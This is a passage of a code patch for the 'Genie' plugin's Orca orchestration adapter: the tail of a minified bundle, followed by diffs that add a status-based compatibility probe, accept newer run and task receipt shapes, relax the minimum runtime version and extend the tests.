G==="string"?Object.freeze({runId:G}):Object.freeze({})}if($==="task-create"||$==="task-update"){let G=H.taskId??q$(H,"task");return typeof G==="string"?Object.freeze({taskId:G}):Object.freeze({})}return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[$]??[]).flatMap((G)=>typeof H[G]==="string"?[[G,H[G]]]:[])))}function L0($,W){if($.operation==="run-use"){let H=b(W),J=H.runId??q$(H,"run");return{operation:{operation:"run-current"},matches:(G)=>{let X=b(G),Q=b(X.run);return J===$.id&&Q.id===$.id}}}if($.operation==="gate-resolve"){let H=b(W);return{operation:{operation:"gate-list",task:$.task},matches:(J)=>{if(H.gateId!==$.id||H.taskId!==$.task)return!1;let G=b(J).gates;if(!Array.isArray(G))return!1;let X=G.map(b).filter((Q)=>Q.id===$.id);return X.length===1&&X[0].taskId===$.task&&X[0].status==="resolved"&&X[0].resolution===$.resolution}}}if($.operation==="worker-release"){let H=b(W);return{operation:{operation:"worker-show",dispatch:$.dispatch},matches:(J)=>{let G=b(b(J).dispatch);return H.dispatchId===$.dispatch&&G.id===$.dispatch&&["released","retained"].includes(String(G.terminalDisposition))}}}if($.operation==="run-create"){let H=b(W),J=H.runId??q$(H,"run");return{operation:{operation:"run-show",id:String(J)},matches:(G)=>{let X=b(b(G).run);return X.id===J&&X.objective===$.objective}}}if($.operation==="task-create"||$.operation==="task-update"){let H=b(W),J=H.taskId??q$(H,"task"),G=$.operation==="task-create"?J:$.id;return{operation:{operation:"task-list"},matches:(X)=>{if(J!==G)return!1;let Q=b(X).tasks;if(!Array.isArray(Q))return!1;let q=Q.map(b).filter((w)=>w.id===G);if(q.length!==1)return!1;let Y=q[0];if($.operation==="task-create"&&"run_id"in Y)return Y.spec===$.spec&&Y.task_title===($.title??$.spec)&&Y.deps===JSON.stringify($.deps??[])&&Y.parent_id===($.parent??null);return $.operation==="task-create"?Y.spec===$.spec&&Y.title===$.title&&JSON.stringify(Y.deps??[])===JSON.stringify($.deps??[])&&Y.parent===$.parent:Y.status===$.status&&(JSON.stringify(Y.result)===JSON.stringify($.result)||Y.result===JSON.stringify($.result))}}}if($.operation==="worker-start"){let H=b(W),J=H.dispatchId;return{operation:{operation:"worker-show",dispatch:String(J)},matches:(G)=>{let X=b(b(G).dispatch);return H.taskId===$.task&&X.id===J&&X.taskId===$.task&&X.agent===$.agent&&X.model===$.model&&X.effort===$.effort}}}if($.operation==="gate-create"){let H=b(W),J=H.gateId;return{operation:{operation:"gate-list",task:$.task},matches:(G)=>{let X=b(G).gates;if(!Array.isArray(X))return!1;if(H.taskId!==$.task)return!1;let Q=X.map(b).filter((Y)=>Y.id===J);if(Q.length!==1)return!1;let q=Q[0];return q?.taskId===$.task&&q.question===$.question&&JSON.stringify(q.options)===JSON.stringify($.options)}}}return}function R0($,W,H){let J=t$($,W),G=a$.has($)||J;if(H.outputLimited||H.transportLost){if(G)return H$($,"execute",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");return RW($,H.outputLimited?"output_limit":"process_exit",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response")}if(H.timedOut)return G?H$($,"execute","Orca did not finish before the deadline"):RW($,"timeout","Orca did not finish before the deadline");if(H.exitCode!==0){if(G)return new E("ambiguous_after_possible_commit",$,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr);return new E("process_exit",$,"execute",G?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr.slice(-4096))}return}function RW($,W,H){return new E(W,$,"execute","safe","Retry the read-only operation when Orca is healthy.",H)}function fW($={}){let W=Object.freeze({...$.env??process.env}),H=W0({platform:$.platform,managedTerminal:$.managedTerminal??W.TERM_PROGRAM==="Orca"}),J=$.executor??AW,G=$.timeoutMs??H0,X=$.now??(()=>new Date),Q=async(Y,w)=>{try{return await J({executable:H,argv:Y,shell:!1,timeoutMs:G,maxStdoutBytes:G0,maxStderrBytes:J0,env:W})}catch(D){throw new E("executable_unavailable",w,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",D instanceof Error&&"code"in D?`Orca execution failed (${String(D.code)})`:"Orca execution failed")}},q=async(Y)=>{let w=SW(Y),D=await Q(w,Y.operation);D={...D,stderr:b0(D.stderr,Y,W)};let g=a$.has(Y.operation)||t$(Y.operation,Y),P=R0(Y.operation,Y,D);if(P!==void 0)throw P;let d=S0(Y.operation,D.stdout,g);if(!d.ok){let _$=WW(d.error?.message??"Orca returned an error envelope",Y,W);if(g)throw H$(Y.operation,"decode",_$);throw new E("unexpected_response",Y.operation,"decode",g?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",_$)}return d};return Object.freeze({executable:H,async status(){let Y=await Q(["status","--json"],"runtime");if(Y.outputLimited||Y.transportLost||Y.timedOut||Y.exitCode!==0)throw new E(Y.outputLimited?"output_limit":Y.timedOut?"timeout":"process_exit","runtime","execute","safe","Restore the public Orca runtime and retry the compatibility probe.","Orca status did not complete successfully");let w;try{w=OW(Y.stdout)}catch{throw new E("malformed_json","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status was not one JSON document")}let D=U0.safeParse(w);if(!D.success)throw new E("unexpected_response","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status did not match the strict runtime compatibility contract");return D.data},async execute(Y){let w=EW.safeParse(Y);if(!w.success)throw SW(Y),Error("unreachable");let D=w.data,g=X().toISOString(),P=await q(D);if(!a$.has(D.operation)&&!t$(D.operation,D))return P;return D0(D,P,g,q,X,W)}})}async function D0($,W,H,J,G,X){z0($,W);let Q=L0($,W.result);if(Q!==void 0){let w;try{w=await J(Q.operation)}catch(D){throw V0($,Q.operation.operation,D,X)}if(!Q.matches(w.result))throw new E("readback_mismatch",$.operation,"readback","unsafe",`Inspect state with orchestration ${Q.operation.operation}; do not retry the mutation automatically.`,`${Q.operation.operation} disagreed with the mutation receipt`)}let q=W._meta,Y=Object.freeze({verb:$.operation,ids:N0($.operation,W.result),runtimeId:q.runtimeId,runtimeVersion:q.runtimeVersion??null,startedAt:H,completedAt:G().toISOString(),readbackVerb:Q?.operation.operation??null});return Object.freeze({...W,receipt:Y})}function V0($,W,H,J){if(!(H instanceof E))return new E("unexpected_response",$.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${W}; do not retry the mutation automatically.`,`${W} failed after Orca returned a valid mutation receipt`);return new E(H.code,$.operation,"readback","readback-required",`Repeat or inspect orchestration ${W}; do not retry the mutation automatically.`,WW(`${W} failed after Orca returned a valid mutation receipt: ${H.message}`,$,J),H.stderr)}function z0($,W){if(W._meta?.runtimeId===void 0)throw H$($.operation,"receipt","mutation receipt omitted bounded runtime identity metadata");if(!K0($,W.result))throw new E("readback_mismatch",$.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if($.operation==="check"&&$.ack!==void 0&&b(W.result).acknowledged!==!0)throw H$($.operation,"receipt","check --ack success did not contain its matching delivery identifier");if($.operation==="run-use"&&"coordinatorTerminalHandle"in b(W.result)&&b(W.result).coordinatorTerminalHandle!==W._meta.invokingTerminal)throw new E("readback_mismatch",$.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function K0($,W){let H=b(W);switch($.operation){case"run-use":return(H.runId??q$(H,"run"))===$.id;case"task-update":return(H.taskId??q$(H,"task"))===$.id;case"worker-start":return H.taskId===$.task;case"worker-release":return H.dispatchId===$.dispatch;case"reply":return H.messageId===$.id;case"ask":return $.resume===void 0||H.messageId===$.resume;case"check":return $.ack===void 0||H.deliveryId===$.ack;case"gate-create":return H.taskId===$.task;case"gate-resolve":return H.gateId===$.id&&H.taskId===$.task;default:return!0}}function b0($,W,H){return WW($,W,H)}function WW($,W,H){let J=[...$].filter((Y)=>{let w=Y.charCodeAt(0);return w===9||w===10||w===13||w>=32&&w!==127&&w<128||w>159}).join(""),G=e$(W),X=Object.entries(H).filter(([Y,w])=>w!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(Y)).map(([,Y])=>Y),Q=Object.values(H).flatMap((Y)=>Y===void 0?[]:F0(Y));for(let Y of[...G,...X,...Q].filter((w)=>w.length>=3).sort((w,D)=>D.length-w.length))J=J.split(Y).join("[REDACTED]");let q=Buffer.from(J,"utf8");return q.length<=4096?J:Buffer.concat([Buffer.from("[truncated] "),q.subarray(q.length-4084)]).toString("utf8")}function F0($){try{let W=new URL($);if(W.password.length===0)return[];try{return[W.password,decodeURIComponent(W.password)]}catch{return[W.password]}}catch{return[]}}function e$($){if(typeof $==="string")return[$];if(Array.isArray($))return $.flatMap(e$);if(typeof $==="object"&&$!==null)return Object.values($).flatMap(e$);return[]}function u$(){return fW()}var J1=Object.freeze({createAdapter:fW,spawnOrcaProcess:AW});var E0="1.4.192",CW="orchestration.contract.v1";function vW($){return new E("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",$)}function PW($){let W=/^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec($);if(W===null)return;return W.slice(1).map(Number)}function A0($,W){let H=PW($),J=PW(W);if(H===void 0||J===void 0)return!1;for(let G=0;G<3;G+=1)if(H[G]!==J[G])return H[G]>J[G];return!0}async function IW($){try{let W=await $.status(),H=W.result.runtime.runtimeId,J=W.result.runtime.appVersion;if(!A0(J,E0)||!W.result.runtime.capabilities.includes(CW))throw vW("Orca runtime version or orchestration contract is outside the supported range.");return Object.freeze({runtimeId:H,runtimeVersion:J,contract:CW})}catch(W){if(W instanceof E&&W.code==="unsupported_environment")throw W;throw vW("The Orca compatibility probe could not complete through the public adapter.")}}function kW($=u$()){return Object.freeze({probe:()=>IW($),async execute(W){return await IW($),$.execute(W)}})}var O0="genie.orca.run-list";function f0($=u$()){let W=kW($);return async(H)=>{H.commands.register(O0,()=>W.execute({operation:"run-list",limit:100}))}}var B1=f0();export{B1 as default,f0 as createOrcaPluginEntrypoint,O0 as ORCA_RUN_LIST_COMMAND}; diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index 6d182f09c..ab45580ef 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260829.4", + "version": "5.260829.5", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", @@ -11,7 +11,7 @@ }, "repository": "https://github.com/automagik-dev/genie", "engines": { - "orca": ">=1.4.193" + "orca": ">=1.4.192" }, "pluginApi": 1, "main": "orca-entrypoint.min.js", diff --git a/plugins/genie/orca-real-runtime-smoke.test.ts b/plugins/genie/orca-real-runtime-smoke.test.ts index 8bc93ba21..c8f471c9b 100644 --- a/plugins/genie/orca-real-runtime-smoke.test.ts +++ b/plugins/genie/orca-real-runtime-smoke.test.ts @@ -44,6 +44,13 @@ function object(value: unknown): Record<string, unknown> { return value as Record<string, unknown>; } +function receiptEntityId(result: unknown, entity: 'run' | 'task', legacyId: 'runId' | 'taskId'): string { + const record = object(result); + const value = record[legacyId] ?? object(record[entity]).id; + if (typeof value !== 'string') throw new Error(`missing ${entity} identifier`); + return value; +} + runRealSmoke( 'real Orca runtime either completes the disposable flow or fails unsupported without mutation', async () => { @@ -69,12 +76,12 @@ runRealSmoke( operation: 'run-create', objective: `Genie A3 disposable smoke ${suffix}`, }); - const disposableRunId = String(object(createdRun.result).runId); + const disposableRunId = receiptEntityId(createdRun.result, 'run', 'runId'); const runReadback = await runtime.execute({ operation: 'run-show', id: disposableRunId }); expect(object(object(runReadback.result).run).id).toBe(disposableRunId); const createdTask = await runtime.execute({ operation: 'task-create', spec: `Disposable A3 task ${suffix}` }); - disposableTaskId = String(object(createdTask.result).taskId); + disposableTaskId = receiptEntityId(createdTask.result, 'task', 'taskId'); await runtime.execute({ operation: 'task-update', id: disposableTaskId, @@ -91,6 +98,9 @@ runRealSmoke( } expect(disposableTaskId).toBeDefined(); + const restored = await runtime.execute({ operation: 'run-current' }); + expect(object(object(restored.result).run).id).toBe(priorRunId); expect(await snapshotLocalLifecycle()).toEqual(before); }, + 30_000, ); diff --git a/plugins/genie/orca-runtime.test.ts b/plugins/genie/orca-runtime.test.ts index ad8186e05..a28e7e482 100644 --- a/plugins/genie/orca-runtime.test.ts +++ b/plugins/genie/orca-runtime.test.ts @@ -11,6 +11,28 @@ const response = (runtimeVersion = ORCA_MINIMUM_RUNTIME_VERSION) => ({ _meta: { runtimeId: 'runtime_1', runtimeVersion }, }); +const status = ( + runtimeVersion = ORCA_MINIMUM_RUNTIME_VERSION, + capabilities: string[] = ['orchestration.contract.v1'], +) => ({ + id: 'local-status', + ok: true as const, + result: { + target: { kind: 'local' as const }, + app: { running: true as const, pid: 123, desktopWindowStatus: 'available' as const }, + runtime: { + state: 'ready' as const, + reachable: true as const, + runtimeId: 'runtime_1', + appVersion: runtimeVersion, + remoteUpdateSupport: { installMode: 'manual', automatic: false, reason: 'manual-update' }, + capabilities, + }, + graph: { state: 'ready' as const }, + }, + _meta: { runtimeId: 'runtime_1' }, +}); + describe('native Orca plugin contract', () => { test('discovers, loads, and invokes the public adapter through the native Orca entrypoint', async () => { const manifest = JSON.parse(await readFile(resolve(import.meta.dir, 'orca-plugin.json'), 'utf8')); @@ -35,6 +57,7 @@ describe('native Orca plugin contract', () => { const handlers = new Map<string, (args?: unknown) => Promise<unknown>>(); const adapter: OrcaOrchestrationAdapter = { executable: 'opaque-to-plugin', + status: async () => status(), execute: async (operation) => { calls.push(operation as OrcaOperation); return response(); @@ -45,16 +68,14 @@ describe('native Orca plugin contract', () => { }); expect(await handlers.get('genie.orca.run-list')?.()).toEqual(response()); - expect(calls).toEqual([ - { operation: 'run-list', limit: 1 }, - { operation: 'run-list', limit: 100 }, - ]); + expect(calls).toEqual([{ operation: 'run-list', limit: 100 }]); }); test('probes with one read-only public adapter call before allowing operations', async () => { const calls: OrcaOperation[] = []; const adapter: OrcaOrchestrationAdapter = { executable: 'opaque-to-plugin', + status: async () => status(), execute: async (operation) => { calls.push(operation as OrcaOperation); return response(); @@ -67,19 +88,22 @@ describe('native Orca plugin contract', () => { runtimeVersion: ORCA_MINIMUM_RUNTIME_VERSION, contract: 'orchestration.contract.v1', }); - expect(calls).toEqual([{ operation: 'run-list', limit: 1 }]); + expect(calls).toEqual([]); }); - test('converts every probe failure to unsupported_environment and never mutates', async () => { - for (const failure of [new Error('spawn denied'), response('1.3.999'), { ...response(), _meta: undefined }]) { + test('converts status, version, and capability failures to unsupported_environment and never mutates', async () => { + for (const failure of [new Error('spawn denied'), status('1.3.999'), status(undefined, [])]) { const calls: OrcaOperation[] = []; const adapter: OrcaOrchestrationAdapter = { executable: 'opaque-to-plugin', - execute: async (operation) => { - calls.push(operation as OrcaOperation); + status: async () => { if (failure instanceof Error) throw failure; return failure; }, + execute: async (operation) => { + calls.push(operation as OrcaOperation); + return response(); + }, }; await expect(createOrcaPluginRuntime(adapter).probe()).rejects.toMatchObject({ @@ -88,7 +112,7 @@ describe('native Orca plugin contract', () => { phase: 'resolve', retrySafety: 'safe', }); - expect(calls).toEqual([{ operation: 'run-list', limit: 1 }]); + expect(calls).toEqual([]); } }); diff --git a/plugins/genie/orca-runtime.ts b/plugins/genie/orca-runtime.ts index dcd575367..a301074b9 100644 --- a/plugins/genie/orca-runtime.ts +++ b/plugins/genie/orca-runtime.ts @@ -6,7 +6,7 @@ import { createOrcaOrchestrationAdapter, } from '../../src/lib/orca-orchestration-adapter'; -export const ORCA_MINIMUM_RUNTIME_VERSION = '1.4.193'; +export const ORCA_MINIMUM_RUNTIME_VERSION = '1.4.192'; export const ORCA_REQUIRED_CONTRACT = 'orchestration.contract.v1'; export interface OrcaPluginCompatibility { @@ -49,15 +49,14 @@ function versionAtLeast(actual: string, minimum: string): boolean { async function probe(adapter: OrcaOrchestrationAdapter): Promise<OrcaPluginCompatibility> { try { - const response = await adapter.execute({ operation: 'run-list', limit: 1 }); - const runtimeId = response._meta?.runtimeId; - const runtimeVersion = response._meta?.runtimeVersion; + const response = await adapter.status(); + const runtimeId = response.result.runtime.runtimeId; + const runtimeVersion = response.result.runtime.appVersion; if ( - runtimeId === undefined || - runtimeVersion === undefined || - !versionAtLeast(runtimeVersion, ORCA_MINIMUM_RUNTIME_VERSION) + !versionAtLeast(runtimeVersion, ORCA_MINIMUM_RUNTIME_VERSION) || + !response.result.runtime.capabilities.includes(ORCA_REQUIRED_CONTRACT) ) { - throw unsupportedEnvironment('Orca runtime compatibility metadata is absent or outside the supported range.'); + throw unsupportedEnvironment('Orca runtime version or orchestration contract is outside the supported range.'); } return Object.freeze({ runtimeId, runtimeVersion, contract: ORCA_REQUIRED_CONTRACT }); } catch (error) { diff --git a/plugins/genie/plugin.json b/plugins/genie/plugin.json index e695794f7..064ee610e 100644 --- a/plugins/genie/plugin.json +++ b/plugins/genie/plugin.json @@ -12,7 +12,7 @@ "keywords": ["workflow", "orchestration", "orca", "skills", "agents"], "extensions": { "dev.orca.compatibility": { - "minimumRuntimeVersion": "1.4.193", + "minimumRuntimeVersion": "1.4.192", "requiredContract": "orchestration.contract.v1", "transport": "public-cli" } diff --git a/scripts/release-payload-version.test.ts b/scripts/release-payload-version.test.ts index 50e542efa..66c59f4c2 100644 --- a/scripts/release-payload-version.test.ts +++ b/scripts/release-payload-version.test.ts @@ -10,6 +10,7 @@ import { describe('release payload version contract', () => { const roots: string[] = []; + const repoRoot = join(import.meta.dir, '..'); afterEach(() => { for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); @@ -51,6 +52,15 @@ describe('release payload version contract', () => { return root; } + test('the committed release metadata exactly matches the package version', () => { + const packageVersion = JSON.parse(readFileSync(join(repoRoot, 'package.json'), 'utf8')).version; + + expect(verifyCommittedReleaseVersions(repoRoot)).toBe(packageVersion); + expect(JSON.parse(readFileSync(join(repoRoot, 'plugins/genie/orca-plugin.json'), 'utf8')).version).toBe( + packageVersion, + ); + }); + test('stamps and verifies VERSION plus every copied version-bearing manifest', () => { const root = fixture(); const version = '5.260711.9-rc.1'; @@ -104,8 +114,9 @@ describe('release payload version contract', () => { const root = fixture(); expect(verifyCommittedReleaseVersions(root)).toBe('5.000000.0'); - writeJson(root, 'plugins/genie/.codex-plugin/plugin.json', { name: 'genie', version: '5.999999.1' }); - expect(() => verifyCommittedReleaseVersions(root)).toThrow('committed version mismatch'); + writeJson(root, 'plugins/genie/orca-plugin.json', { name: 'genie', version: '5.999999.1' }); + expect(() => verifyCommittedReleaseVersions(root)).toThrow('committed version mismatch in'); + expect(() => verifyCommittedReleaseVersions(root)).toThrow('orca-plugin.json'); }); test('fails closed on missing metadata, malformed versions, and an invalid Codex marketplace target', () => { diff --git a/src/lib/orca-orchestration-adapter.test.ts b/src/lib/orca-orchestration-adapter.test.ts index 1afa2412a..932b1a0ec 100644 --- a/src/lib/orca-orchestration-adapter.test.ts +++ b/src/lib/orca-orchestration-adapter.test.ts @@ -5,6 +5,7 @@ import { OrcaAdapterError, type OrcaOperation, type OrcaProcessExecutor, + type OrcaRuntimeStatus, __orcaAdapterTestOnly, buildOrcaOrchestrationArgv, createOrcaOrchestrationAdapter, @@ -167,6 +168,57 @@ describe('closed Orca orchestration argv grammar', () => { }); describe('runtime and executor boundary', () => { + const validStatus = (): OrcaRuntimeStatus => ({ + id: 'local-status', + ok: true, + result: { + target: { kind: 'local' }, + app: { running: true, pid: 123, desktopWindowStatus: 'available' }, + runtime: { + state: 'ready', + reachable: true, + runtimeId: 'runtime_a', + appVersion: '1.4.192', + remoteUpdateSupport: { installMode: 'manual', automatic: false, reason: 'manual-update' }, + capabilities: ['orchestration.contract.v1'], + }, + graph: { state: 'ready' }, + }, + _meta: { runtimeId: 'runtime_a' }, + }); + + test('uses only the closed root status argv for runtime compatibility', async () => { + const requests: Parameters<OrcaProcessExecutor>[0][] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + env: { SAFE: 'yes' }, + executor: async (request) => { + requests.push(request); + return { exitCode: 0, stdout: JSON.stringify(validStatus()), stderr: '' }; + }, + }); + expect(await adapter.status()).toEqual(validStatus()); + expect(requests.map(({ argv, shell }) => ({ argv, shell }))).toEqual([ + { argv: ['status', '--json'], shell: false }, + ]); + }); + + test('strictly rejects malformed, duplicate-key, error, and schema-drifted status results', async () => { + const drifted = { ...validStatus(), extra: true }; + const mismatched = { ...validStatus(), _meta: { runtimeId: 'runtime_other' } }; + for (const stdout of [ + 'not-json', + '{"id":"local-status","id":"duplicate"}', + JSON.stringify({ id: 'local-status', ok: false, error: { code: 'offline', message: 'offline' } }), + JSON.stringify(drifted), + JSON.stringify(mismatched), + ]) { + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ exitCode: 0, stdout, stderr: '' }), + }); + await expect(adapter.status()).rejects.toBeInstanceOf(OrcaAdapterError); + } + }); + test('resolves one deterministic executable without fallback', () => { expect(resolveOrcaExecutable({ platform: 'win32' })).toBe('orca.exe'); expect(resolveOrcaExecutable({ platform: 'darwin' })).toBe('orca'); diff --git a/src/lib/orca-orchestration-adapter.ts b/src/lib/orca-orchestration-adapter.ts index 5c4c75961..276fd5d9e 100644 --- a/src/lib/orca-orchestration-adapter.ts +++ b/src/lib/orca-orchestration-adapter.ts @@ -492,6 +492,17 @@ const spawnOrcaProcess: OrcaProcessExecutor = async (request) => const terminalId = id; const receipt = (shape: z.ZodRawShape) => z.object(shape).strict(); const runEntity = receipt({ id, objective: longText.optional(), coordinatorTerminalHandle: terminalId.optional() }); +const publicRunEntity = receipt({ + id, + objective: longText, + home_database: z.string().min(1).max(128), + coordinator_handle: terminalId, + coordinator_pane_key: z.string().min(1).max(256), + consumer_generation: z.number().int().positive(), + legacy: z.number().int().min(0).max(1), + created_at: z.string().min(1).max(64), + updated_at: z.string().min(1).max(64), +}); const taskEntity = receipt({ id, spec: longText, @@ -501,6 +512,25 @@ const taskEntity = receipt({ status: taskStatus, result: result.optional(), }); +const publicTaskEntity = receipt({ + id, + run_id: id, + parent_id: id.nullable(), + created_by_terminal_handle: terminalId, + created_by_pane_key: z.string().min(1).max(256), + created_by_process_incarnation: z.string().min(1).max(512), + created_by_run_generation: z.number().int().positive(), + task_title: shortText, + display_name: shortText, + spec: longText, + status: taskStatus, + deps: z.string().max(16_384), + result: z.string().max(32_768).nullable(), + created_at: z.string().min(1).max(64), + completed_at: z.string().min(1).max(64).nullable(), +}); +const mutationMetadata = receipt({ requestId: z.string().uuid(), replayed: z.boolean() }); +const bindingMetadata = receipt({ consumerGeneration: z.number().int().positive() }); const workerEntity = receipt({ id, taskId: id, @@ -533,14 +563,31 @@ const checkResult = receipt({ count: z.number().int().min(0).max(50).optional(), }); const responseSchemas: Readonly<Record<OrcaOrchestrationVerb, z.ZodTypeAny>> = { - 'run-create': receipt({ runId: id }), + 'run-create': z.union([ + receipt({ runId: id }), + receipt({ run: publicRunEntity, binding: bindingMetadata, mutation: mutationMetadata }), + ]), 'run-list': receipt({ runs: z.array(runEntity).max(100), cursor: cursor.optional() }), - 'run-show': receipt({ run: runEntity }), - 'run-current': receipt({ run: runEntity, coordinatorTerminalHandle: terminalId }), - 'run-use': receipt({ runId: id, coordinatorTerminalHandle: terminalId }), - 'task-create': receipt({ taskId: id }), - 'task-list': receipt({ tasks: z.array(taskEntity).max(100) }), - 'task-update': receipt({ taskId: id }), + 'run-show': receipt({ run: z.union([runEntity, publicRunEntity]) }), + 'run-current': z.union([ + receipt({ run: runEntity, coordinatorTerminalHandle: terminalId }), + receipt({ run: publicRunEntity.nullable() }), + ]), + 'run-use': z.union([ + receipt({ runId: id, coordinatorTerminalHandle: terminalId }), + receipt({ run: publicRunEntity, binding: bindingMetadata, mutation: mutationMetadata }), + ]), + 'task-create': z.union([receipt({ taskId: id }), receipt({ task: publicTaskEntity, mutation: mutationMetadata })]), + 'task-list': z.union([ + receipt({ tasks: z.array(taskEntity).max(100) }), + receipt({ + runId: id, + legacyReadOnly: z.boolean(), + tasks: z.array(publicTaskEntity).max(100), + count: z.number().int().min(0).max(100), + }), + ]), + 'task-update': z.union([receipt({ taskId: id }), receipt({ task: publicTaskEntity, mutation: mutationMetadata })]), 'worker-start': receipt({ dispatchId: id, taskId: id }), 'worker-show': receipt({ dispatch: workerEntity }), 'worker-read': receipt({ dispatchId: id, source: workerSource, output: longText, cursor: cursor.optional() }), @@ -594,6 +641,46 @@ export interface OrcaMutationReceipt { export type OrcaAdapterResponse = OrcaJsonEnvelope & { readonly receipt?: OrcaMutationReceipt }; +const runtimeStatusSchema = z + .object({ + id: z.string().min(1).max(256), + ok: z.literal(true), + result: z + .object({ + target: z.object({ kind: z.literal('local') }).strict(), + app: z + .object({ + running: z.literal(true), + pid: z.number().int().positive(), + desktopWindowStatus: z.enum(['available', 'unavailable']), + }) + .strict(), + runtime: z + .object({ + state: z.literal('ready'), + reachable: z.literal(true), + runtimeId: z.string().min(1).max(256), + appVersion: z.string().regex(/^\d+\.\d+\.\d+(?:[-+].*)?$/), + remoteUpdateSupport: z + .object({ + installMode: z.string().min(1).max(128), + automatic: z.boolean(), + reason: z.string().min(1).max(256), + }) + .strict(), + capabilities: z.array(z.string().min(1).max(256)).max(256), + }) + .strict(), + graph: z.object({ state: z.literal('ready') }).strict(), + }) + .strict(), + _meta: z.object({ runtimeId: z.string().min(1).max(256) }).strict(), + }) + .strict() + .refine((value) => value.result.runtime.runtimeId === value._meta.runtimeId, 'runtime identity mismatch'); + +export type OrcaRuntimeStatus = z.infer<typeof runtimeStatusSchema>; + function ambiguousMutationError( operation: OrcaOrchestrationVerb, phase: 'execute' | 'decode' | 'receipt', @@ -703,6 +790,7 @@ interface OrcaAdapterTestOptions { export interface OrcaOrchestrationAdapter { readonly executable: string; + status(): Promise<OrcaRuntimeStatus>; execute(input: unknown): Promise<OrcaAdapterResponse>; } @@ -728,8 +816,21 @@ function recordOf(value: unknown): Record<string, unknown> { return value as Record<string, unknown>; } +function entityId(value: unknown, key: 'run' | 'task'): unknown { + const entity = recordOf(value)[key]; + return typeof entity === 'object' && entity !== null ? recordOf(entity).id : undefined; +} + function receiptIds(operation: OrcaOrchestrationVerb, value: unknown): Readonly<Record<string, string>> { const result = recordOf(value); + if (operation === 'run-create' || operation === 'run-use') { + const runId = result.runId ?? entityId(result, 'run'); + return typeof runId === 'string' ? Object.freeze({ runId }) : Object.freeze({}); + } + if (operation === 'task-create' || operation === 'task-update') { + const taskId = result.taskId ?? entityId(result, 'task'); + return typeof taskId === 'string' ? Object.freeze({ taskId }) : Object.freeze({}); + } const fields: Partial<Record<OrcaOrchestrationVerb, readonly string[]>> = { 'run-create': ['runId'], 'run-use': ['runId'], @@ -756,16 +857,13 @@ type ReadbackPlan = { operation: ValidatedOrcaOperation; matches: (result: unkno function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): ReadbackPlan | undefined { if (operation.operation === 'run-use') { const receipt = recordOf(result); + const receiptRunId = receipt.runId ?? entityId(receipt, 'run'); return { operation: { operation: 'run-current' }, matches: (readback) => { const current = recordOf(readback); const run = recordOf(current.run); - return ( - receipt.runId === operation.id && - run.id === operation.id && - receipt.coordinatorTerminalHandle === current.coordinatorTerminalHandle - ); + return receiptRunId === operation.id && run.id === operation.id; }, }; } @@ -802,7 +900,8 @@ function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): Readb }; } if (operation.operation === 'run-create') { - const runId = recordOf(result).runId; + const value = recordOf(result); + const runId = value.runId ?? entityId(value, 'run'); return { operation: { operation: 'run-show', id: String(runId) }, matches: (readback) => { @@ -813,22 +912,33 @@ function readbackPlan(operation: ValidatedOrcaOperation, result: unknown): Readb } if (operation.operation === 'task-create' || operation.operation === 'task-update') { const mutation = recordOf(result); - const taskId = operation.operation === 'task-create' ? mutation.taskId : operation.id; + const mutationTaskId = mutation.taskId ?? entityId(mutation, 'task'); + const taskId = operation.operation === 'task-create' ? mutationTaskId : operation.id; return { operation: { operation: 'task-list' }, matches: (readback) => { - if (mutation.taskId !== taskId) return false; + if (mutationTaskId !== taskId) return false; const tasks = recordOf(readback).tasks; if (!Array.isArray(tasks)) return false; const matching = tasks.map(recordOf).filter((candidate) => candidate.id === taskId); if (matching.length !== 1) return false; const task = matching[0]; + if (operation.operation === 'task-create' && 'run_id' in task) { + return ( + task.spec === operation.spec && + task.task_title === (operation.title ?? operation.spec) && + task.deps === JSON.stringify(operation.deps ?? []) && + task.parent_id === (operation.parent ?? null) + ); + } return operation.operation === 'task-create' ? task.spec === operation.spec && task.title === operation.title && JSON.stringify(task.deps ?? []) === JSON.stringify(operation.deps ?? []) && task.parent === operation.parent - : task.status === operation.status && JSON.stringify(task.result) === JSON.stringify(operation.result); + : task.status === operation.status && + (JSON.stringify(task.result) === JSON.stringify(operation.result) || + task.result === JSON.stringify(operation.result)); }, }; } @@ -948,11 +1058,9 @@ function createAdapter(options: OrcaAdapterTestOptions = {}): OrcaOrchestrationA const executor = options.executor ?? spawnOrcaProcess; const defaultTimeout = options.timeoutMs ?? DEFAULT_ORCA_TIMEOUT_MS; const now = options.now ?? (() => new Date()); - const invoke = async (operation: ValidatedOrcaOperation): Promise<OrcaJsonEnvelope> => { - const argv = 